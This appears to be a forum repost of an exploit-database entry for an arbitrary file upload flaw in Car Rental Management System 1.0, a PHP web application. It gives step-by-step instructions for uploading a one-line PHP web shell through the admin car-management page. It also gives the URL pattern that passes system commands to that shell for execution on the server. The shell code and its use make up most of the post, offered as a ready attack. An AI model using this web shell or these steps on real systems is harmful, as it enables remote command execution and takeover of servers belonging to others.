Hoşgeldin Misafir

Car Rental Management System 1.0 - Arbitrary File Upload Vulnerability

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Car Rental Management System 1.0 - Arbitrary File Upload Vulnerability--


Kod:
# Exploit Title: Car Rental Management System 1.0 - Arbitrary File Upload
# Exploit Author: Jyotsna Adhana and Saurav Shukla
# Vendor Homepage: https://www.sourcecodester.com/php/14544/car-rental-management-system-using-phpmysqli-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14544&title=Car+Rental+Management+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4
 
 
#Vulnerable Page: http://localhost/carRental/admin/index.php?page=manage_car
 
#Exploit
        Fill details
        Create php shell code with below script
                <?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
        Click on Browse
        Select php file
        Click Save
        Access below URL:
                http://localhost/carRental/admin/assets/uploads/cars_img/1603387740_backdoor.php?cmd=sysinfo
        add system commands after cmd to execute it.
 
#  0day.today [2020-10-25]  #